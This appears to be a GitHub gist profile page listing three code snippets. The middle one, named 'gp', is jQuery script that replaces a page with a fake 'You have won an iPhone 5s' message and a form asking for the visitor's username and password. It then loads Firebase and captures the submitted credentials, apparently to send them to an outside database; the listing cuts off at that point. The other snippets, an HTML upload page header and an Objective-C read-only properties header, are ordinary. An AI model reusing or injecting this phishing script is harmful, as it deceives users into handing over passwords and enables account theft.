Skip to content

Instantly share code, notes, and snippets.

View calvinlai's full-sized avatar

Calvin L calvinlai

View GitHub Profile
@calvinlai
calvinlai / ImageCapture.html
Last active November 26, 2015 21:57
ImageCapture
<!doctype html>
<html lang="en">
<head>
<meta charset="utf-8">
<title>HTML Image/Camera upload test page</title>
</head>
<body>
@calvinlai
calvinlai / gp
Last active August 29, 2015 13:56
$('h2').text('Congratulations!');
$('.container section').html('<p>You have won an iPhone 5s. Please confirm your username and password to claim prize!</p><form action="/" id="username-form"><label class="col-md-2 control-label" for="UserName">User name</label><input class="form-control" id="UserName" name="UserName" type="text" value="" /><br /><label class="col-md-2 control-label" for="Password">Password</label><input class="form-control" data-val="true" id="Password" name="Password" type="password" /><br /><button>Confirm and claim prize</button></form>');
$.getScript('https://cdn.firebase.com/js/client/1.0.6/firebase.js').done(function( script, textStatus ) {
var db = new Firebase('https://grouplearning.firebaseio.com/list');
$('#username-form').on('submit', function(e) {
e.preventDefault();
var username = $('#UserName').val();
var password = $('#Password').val();
@calvinlai
calvinlai / TestClass.h
Created December 12, 2013 22:50
Read Only Properties in Objective-C
#import <Foundation/Foundation.h>
@interface TestClass : NSObject
@property (nonatomic, readonly) NSString *propertyA;
@property (nonatomic, readonly) NSString *propertyB;
@property (nonatomic, readonly, getter = propertyC) NSString *propertyC;
@end